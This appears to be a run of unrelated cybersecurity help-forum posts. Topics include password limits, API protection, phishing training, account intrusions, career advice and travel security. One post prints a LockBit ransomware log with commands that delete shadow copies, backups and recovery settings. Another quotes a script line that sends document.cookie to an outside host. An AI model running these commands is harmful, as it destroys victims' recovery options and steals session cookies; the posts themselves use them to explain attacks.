I use a password manager that generates PWs of 100 characters (1Password), so I routinely create new passwords at 100 characters. If that fails on a site, then some websites kindly state (after the failed attempt, not before) their maximum password character length. Many sites do not share their max length, so I've got to hunt online for their max or just keep trying new PWs, with fewer characters at each subsequent attempt.

Is there a logical reason why websites do not share up front their maximum character length?

Hi everyone,

I’ve been working on securing my API and ensuring that only my frontend (an Angular app) can access it — preventing any external tools like Postman or custom scripts from making requests.

Here’s the solution I’ve come up with so far:

1. JWT Authentication for user login and session management.
2. Session Cookies (HTTP-only) for securely maintaining the session in the browser. The cookie cannot be accessed via client-side scripts, making it harder for attackers to steal the session.
3. X-Random Token which is linked to the session and expires after a short time (e.g., 5 minutes).
4. X-Tot (Expiration Timestamp) that ensures requests are recent and within a valid time window, preventing replay attacks.
5. CORS Restrictions to ensure that only requests coming from the frontend domain are allowed.
6. Rate Limiting to prevent abuse, such as multiple failed login attempts or rapid, repeated requests.
7. SameSite Cookies to prevent Cross-Site Request Forgery (CSRF) attacks.

The goal is to make sure that users can only interact with the API via the official frontend (Angular app) and that Postman, scripts, or any external tool cannot spoof legitimate requests.

I’m looking for feedback:

• Can this solution be improved?
• Are there any gaps in security I might be missing?
• What other layers should I add to ensure only the frontend can communicate with my API?

Thanks in advance for your thoughts and suggestions!

My company keeps alternately sending out strongly worded warnings about Phishing....

...and emails with links to things like 3rd party websites for training courses (on cyber security) I have to do .....

...but to access I have to fill in my username and password and assent to my eternal soul being damned (or something ... the EULA would take a full day to read...)

Is MS outlook so good it can always detect phishing attacks now?

Or is my company, despite being ISO27001 compliant, stark rabid gibbering mad?

Are there any technological solutions to this mess that they should be using?

A website that I usually watch anime from wont open anymore it just downloads a stream.ts file on my pc. Ngl this actually spooked me a lot, I didn't open the open file I just deleted it? Is this something I should be worried about?

Hello! I am interested in switching from the human services field to the OSINT/cybercrime field

I am very new to exploring this, so I have a few questions..

1. What other job options are there that are similar to OSINT?
2. I found a course for learning coding. Would this help with OSINT or jobs in the cybercrime field?
3. How do I become qualified for OSINT?
4. Is getting a masters in cybercrime the best route to go for OSINT and/or other jobs in the cybercrime field?
5. I am in the UK and the police stations here offer a two year detective degree (that I don’t believe you have to pay for?) Would this degree help with going into cybercrime: https://www.joiningthepolice.co.uk/application-process/ways-in-to-policing/detective-degree-holder-entry

Thank you!

I am worried my partner might be logging into my accounts. I checked where I am logged in on Facebook, and there was a laptop in my city listed, with the date being a few days before, when I haven't been on fb on my laptop in months. I logged it out and changed my password. Then I got logged out of my Outlook email because there had been too many incorrect password attempts. Which wasn't me. When I asked my boyfriend about all this (because he stays at mine while I am at work and a few of the questions he's asked me made me think he could actually see my facebook, and he's a jealous person. I know that when we started dating he looked at a bunch of my facebook friends, trying to figure out if we had been involved) he denied it was him. He said someone could be accessing my laptop remotely. So then I looked at the event viewer (I'm not very techy but saw this online as a way to check when a laptop was logged into) and it said the laptop had been logged onto, with dates and times when it definitely wasn't me as I'd be at work. The accuracy of these logs, I am not sure. So I guess what I'm asking is, is there a way I can find out if it was him? Are all the logons on the system viewer actual physical logons, or could it be a hacker accessing my laptop remotely?

I contracted mail through Network Solutions. They offered me a SSL cert for that email server and some increased maintenance and such. When it cam time to generate the CSR they would not take it or make one. So, when talking to a tech there he told me there is NO such thing as email security. So I paid for nothing.

This is my first blog post. Feedback is much appreciated. Please read till the end and let me know if i should write about the other vulnerabilities i found.

Link here

I would like to know about how to work the pentesting

All kinds of system

What language should I start studying first?

I've noticed that on Windows 10, one has to hit enter after typing one's Windows password to log in, while it's not to hit enter after typing one's PIN. Is there a security reason to it?

When it comes to online safety, one of the core components of modern antiviruses such as Kaspersky, BitDefender, OmniDefender, Avast and many more is the kernel-level real-time protection.

Unlike traditional monitoring methods that rely on high-level process observation, kernel-level monitoring allows us to capture low-level interactions between processes and the operating system. This provides detailed insights into how malware behaves in real-time—insights that are invaluable for threat intelligence and improving detection capabilities.

Take a look at this log file for example:

Root Process: C:\Users\Unknown_analysis\documents\Unknown\desktop\0e66029132a885143b87b1e49e32663a52737bbff4ab96186e9e5e829aa2915f.exe (PID: 7492)

Process created: PID: 1172, 
ImageName: \??\C:\Windows\System32\cmd.exe, 
CommandLine: "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet

Process created: PID: 6300, ImageName: \SystemRoot\System32\Conhost.exe, CommandLine: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1, Parent PID: 7492, Parent ImageName: \Device\HarddiskVolume3\Users\Malware_Analysis\Desktop\0e66029132a885143b87b1e49e32663a52737bbff4ab96186e9e5e829aa2915f.exe

File Operations (252314):
    - Cleanup file: c:\eclipse\features\org.eclipse.mylyn.jenkins.feature_4.3.0.v20240509-0539\feature.properties.lockbit
    - Cleanup file: c:\eclipse\features\org.eclipse.mylyn.jenkins.feature_4.3.0.v20240509-0539\feature.xml.lockbit
    - Cleanup file: c:\eclipse\features\org.eclipse.mylyn.jenkins.feature_4.3.0.v20240509-0539\license.html.lockbit

- Querying value for key: \REGISTRY\USER\S-1-5-21-2754536055-3886740062-4036161825-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\DefaultIcon, ValueName: Full
    - Querying value for key: \REGISTRY\USER\S-1-5-21-2754536055-3886740062-4036161825-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\ShellFolder, ValueName: Attributes
    - Querying value for key: \REGISTRY\USER\S-1-5-21-2754536055-3886740062-4036161825-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.inf\UserChoice, ValueName: Hash
    - Querying value for key: \REGISTRY\USER\S-1-5-21-2754536055-3886740062-4036161825-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.inf\UserChoice, ValueName: ProgId

The process 0e66029132a885143b87b1e49e32663a52737bbff4ab96186e9e5e829aa2915f.exe seems to have spawned cmd.exe to run some nefarious commands such as:

vssadmin delete shadows /all /quiet: Deletes all Volume Shadow Copies without displaying any prompts

wmic shadowcopy delete: Deletes shadow copies using Windows Management Instrumentation.

bcdedit /set {default} bootstatuspolicy ignoreallfailures: Modifies the boot configuration to ignore failures. This can disable certain recovery options.

bcdedit /set {default} recoveryenabled no: Disables Windows recovery mode.

wbadmin delete catalog -quiet: Deletes the backup catalog, which prevents restoring from backups.

The process queried numerous registry keys related to:

• Windows Explorer settings
• File associations (.inf, .log, .sys)
• Internet settings
• Shell folders

They indicate that the process was gathering system information, these registry queries alone are not inherently malicious.

However it's clear as day that this process is dangerous, and taking a closer inspection shows multiple files with the .lockbit extension were listed under the Eclipse plugins directory, this small segment provides enough information about the process and its behavior.

The log file exceeds several MBs and in size and over 10 lines of API Calls due to the sheer amount activity and damage this ransomware caused.

Volume Shadow Copies is an underutilized tool that is capable of restoring encrypted files which is the reason why most ransomware disable it in order to prevent recovery.

Many antiviruses like Kaspersky, OmniDefender, BitDefender are capable of blocking these malicious behaviors and restore encrypted files to their original state.

Interested to hear your thoughts and feelings about what you would personally want to read about in a digital security newsletter.

For example, news about recent breaches/vulnerabilities/ attacks? New developments in technology?

Thanks in advance!

Got a few old laptops that I can not log into and see what data exists. Is it best to try and remove the hard drives myself (Have never done such, basic techie...) and then take along w the laptops to a recycling center, best buy, staples, etc.?

Hi everyone,

I noticed something strange when I right-clicked on a Chrome tab to use the "Send to your devices" feature. A device labeled "Dell Inc. Computer" appeared, and it says it was active 3 days ago. The problem is, I don’t own a Dell computer, and I have no idea how it got linked to my Google account.

Here’s what I’ve done so far:

1. I checked my Google account under "Security" > "Your devices", but I didn’t see the Dell computer listed there.
2. I changed my Google account password to ensure any existing sessions are logged out.
3. I already use multi-factor authentication (MFA), so I assumed my account is secure.
4. I reset Chrome sync to remove any cached devices.

Despite all this, the Dell computer still shows up in Chrome's "Send to your devices" list. I want to know:

1. Am I being watched or is someone using my account without my knowledge?
2. How can I completely remove the Dell computer from appearing in Chrome and confirm that it no longer has access to my account?

This situation is making me uneasy, especially since it says the device was active just 3 days ago. Any advice or guidance would be greatly appreciated.

Thank you in advance!

Hey everyone! I'm thinking of starting my career in cybersecurity as a SOC analyst and planning to subscribe to a learning platform. Can anyone recommend which one would be better for me to get started?

• Let'sDefend - SOC Fundamentals • TryHackMe - SOC Level 1

Would love to hear your thoughts and experiences!

Hi what’s the best way to delete an old email account whilst keeping relevant logins for apps I use. Account linked to Facebook/Instagram was recently compromised and I wish to delete the email address

Hey guys

As we all use 100's of passwords required for authorization on various websites, what is the best place to store them, besides physical notepad? They have hundreds of various password manager apps on the app store, but is it a good idea to hand over all your passwords to some app developer from India and hope he won't use it to steal your information? Besides the whole app method is less then ideal, because 90% of time I need them when I'm using my PC.

Can you keep them on Google Drive?

P.S.

I apologize if this is wrong sub - reddit I tried to post it on another sub - reddit, and it was one of those that instantly deletes your posts. So if this is the wrong sub - reddit to post it, please point me to the correct one that doesn't delete people's post. Thanks.

If an http request includes the cookie.doc as part of the url, will it be able to send secure cookies?

For example, the script is run on site1, and they make a script with fetch("http://site2.com/do?token="

+ document.cookie)

will it be able to send cookies with the same origin as site1 if they have the secure = True and httpOnly = False tags? It obviously won't be able to send it alongside the request, but as the script can access the cookies and append the document then i assume it can still send secure cookies like that?

If you have any docs or sources that would provide evidence please provide them, as every person I ask seems to give a different answer for this.

I have a router that can setup OpenVPN connection and I am storing my private key on google drive.

Let's say my google drive and private key is compromised, can the attacker get into my home network without my IP address and OpenVPN username/password (which I only kept to myself via paper/notes) ?

Hi, Reddit!

We, the WRAVEN team, have just completed an analysis of Salt Typhoon (UNC2286), a sophisticated APT group linked to the PRC. Active since 2020, they’ve targeted critical sectors, government infrastructure, and private entities with advanced cyber-espionage tactics.

Highlights of Our Findings:

• 2024 Election Interference: Salt Typhoon breached devices belonging to President-elect Donald Trump and Senator J.D. Vance, accessing sensitive communications.
• Advanced Malware: Their tools, like Demodex and SparrowDoor, blend seamlessly with legitimate processes to evade detection.
• Tactics: Exploiting unpatched systems and using tools like PowerShell, they achieve long-term, undetected infiltration.

Despite efforts from agencies like the FBI and NSA, their operations remain a significant threat to national security.

What Can We Do? Adopt zero-trust architectures, patch systems regularly, and strengthen encryption to mitigate risks.

👉 Read the full analysis here: An Analysis of Salt Typhoon.

Let’s discuss below!

– WRAVEN

Looking for some advice. I am thinking of signing up for a bank account with a financial institution that has no physical locations. They would like me to send documents (pictures of DL/Passport/etc) to verify my identity, by email. They say the email is encrypted but all I see is the usual TLS. I know nothing about encryption but have always gone by the rule that nothing like ID should be sent by email either in the body of the email or as an attachment. Is this a good rule to follow or is it safe to send these types of documents with TLS?

I have a cannon printer hooked up to my network of windows computers at my home. Some how today an 8 page religious document printed. I am concerned it is from some sort of hacker. Any suggestions on how I should investigate this?

I was using the port scanner IP Finger Prints website which can scan ports to see if any are open. The default is just to scan TCP but when I selected the "Advance" options and checked in UDP Scan under the General Options menu, the same ports would show up as open | filtered which means that the port scanner cannot determine whether the port is filtered or open.

I initially did this out of curiosity for port 5353 as, according to my Windows Firewall rules, Google Chrome uses port 5353 via UDP protocol for inbound connections. But any port I scan shows the same result.

Is this something to be concerned about, whether it concerns port 5353 or any other port?

I'm looking to buy a laptop for some pentesting, and I'd like to know how Iris Xe performs on hashcat (if at all). I'd allso like to know how It behaves in Kali Linux, and Its general perfomance .

I'm going to China tomorrow and have already prepared a laptop and phone which I plan to keep just for work trips abroad. I'm the owner of a small hardware startup (less than $1m revenue per year but not an insignificant amount, no employees on the books so it looks like a one man band to anyone looking, and we are not in the security sector so it's nothing sensitive) and am going to China on a business visa in order to carry out assembly operations as well as find a logistics partner, which the government is aware of as it's written in my visa application.

A lot of manufacturing I'm doing already takes place in China, so they have a lot of the designs for products I make. However they don't have access to my financial records for example, emails, etc. and I am anonymous to a lot of my suppliers, some of whom are my direct competitors, to prevent them knowing what the component they are making actually is/what it's being used in.

At the moment, I am making do with a burner email account that has all my emails redirected to it for the trip, which will only be accessed through a phone with GrapheneOS. I have a linux machine which will be used just for hardware and software development. All important files are stored on an encrypted USB (could change this to cloud storage but not sure what's better, also I have passport scans on the USB which I don't really want to upload to the cloud ideally).

However, ideally I want to access my Shopify account and I need to submit my invoices to my accountant every month. I also want access to my email archive, and also access to the company VPN (we have our ticket system and management software on it). I will be in China for longer than a month for sure. I can forego the above but it will make my life way harder and I will be relying on employees for one time codes, showing me the Shopify, etc. Also the servers on the VPN are self hosted, and it's all through tailscale, I set the VPSes up myself so they are not hardened at all and I wouldn't trust myself to do it properly either.

My questions is, given my profile, what threats should I be worried about? Suppliers/government actors trying to get physical access to my machine, or am I being paranoid? Is my current set up overkill? What risks do I face in terms hacking over the network, what data is potentially at risk? I am also traveling the majority of the year, so if I can make concessions, I would be grateful, as this will be my set up for a lot of it.

Thanks for reading if you got this far!

When searching for a free VOIP, I gave mic permissions to a website that appears Russian (russian text at footer of webpage).

I settled on TextNow, which shared all my Google account data to the app.

How can I undo any security threats I've just posed for myself? Can I just clear my cookies and cache? And how do I revoke the Google data shared with TextNow ?

I'm looking at my router data and it says it's blocking two things I'm unfamiliar with.

Client.openweb.bid and cdn.bullwhip.cloud

Google pulls up nothing about them. How can I find out what these are